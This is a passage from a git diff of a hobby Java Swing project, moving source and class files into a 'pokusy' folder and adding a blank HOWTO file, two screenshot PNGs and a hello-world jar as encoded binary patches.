} +} diff --git a/java/DrawingCanvas.class b/java/pokusy/DrawingCanvas.class similarity index 100% rename from java/DrawingCanvas.class rename to java/pokusy/DrawingCanvas.class diff --git a/java/DrawingRegion.class b/java/pokusy/DrawingRegion.class similarity index 100% rename from java/DrawingRegion.class rename to java/pokusy/DrawingRegion.class diff --git a/java/_nodist/SketchPanel.java b/java/pokusy/_nodist/SketchPanel.java similarity index 100% rename from java/_nodist/SketchPanel.java rename to java/pokusy/_nodist/SketchPanel.java diff --git a/java/_nodist/socket.java b/java/pokusy/_nodist/socket.java similarity index 100% rename from java/_nodist/socket.java rename to java/pokusy/_nodist/socket.java diff --git a/java/canvas.class b/java/pokusy/canvas.class similarity index 100% rename from java/canvas.class rename to java/pokusy/canvas.class diff --git a/java/canvas.java b/java/pokusy/canvas.java similarity index 100% rename from java/canvas.java rename to java/pokusy/canvas.java diff --git a/java/swing-gui/NetBeans_Swing_GUI_Build-HOWTO.txt b/java/swing-gui/NetBeans_Swing_GUI_Build-HOWTO.txt new file mode 100755 index 0000000..2db2063 --- /dev/null +++ b/java/swing-gui/NetBeans_Swing_GUI_Build-HOWTO.txt @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/java/swing-gui/gui-helloworld-gnome.png b/java/swing-gui/gui-helloworld-gnome.png new file mode 100755 index 0000000000000000000000000000000000000000..ed64d160e8863ff0046e33b6d880ba7063eb8644 GIT binary patch literal 6620 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 literal 0 HcmV?d00001 diff --git a/java/swing-gui/gui-helloworld-win.png b/java/swing-gui/gui-helloworld-win.png new file mode 100755 index 0000000000000000000000000000000000000000..fcd5e6f92369d8bc3bf21f3c0abeac8033db295c GIT binary patch literal 6555 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 Gp8Xerfc?Ax literal 0 HcmV?d00001 diff --git a/java/swing-gui/gui-helloworld.jar b/java/swing-gui/gui-helloworld.jar new file mode 100755 index 0000000000000000000000000000000000000000..6bbf24f405d9db847991f8d157e9e80807add133 GIT binary patch literal 128462 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 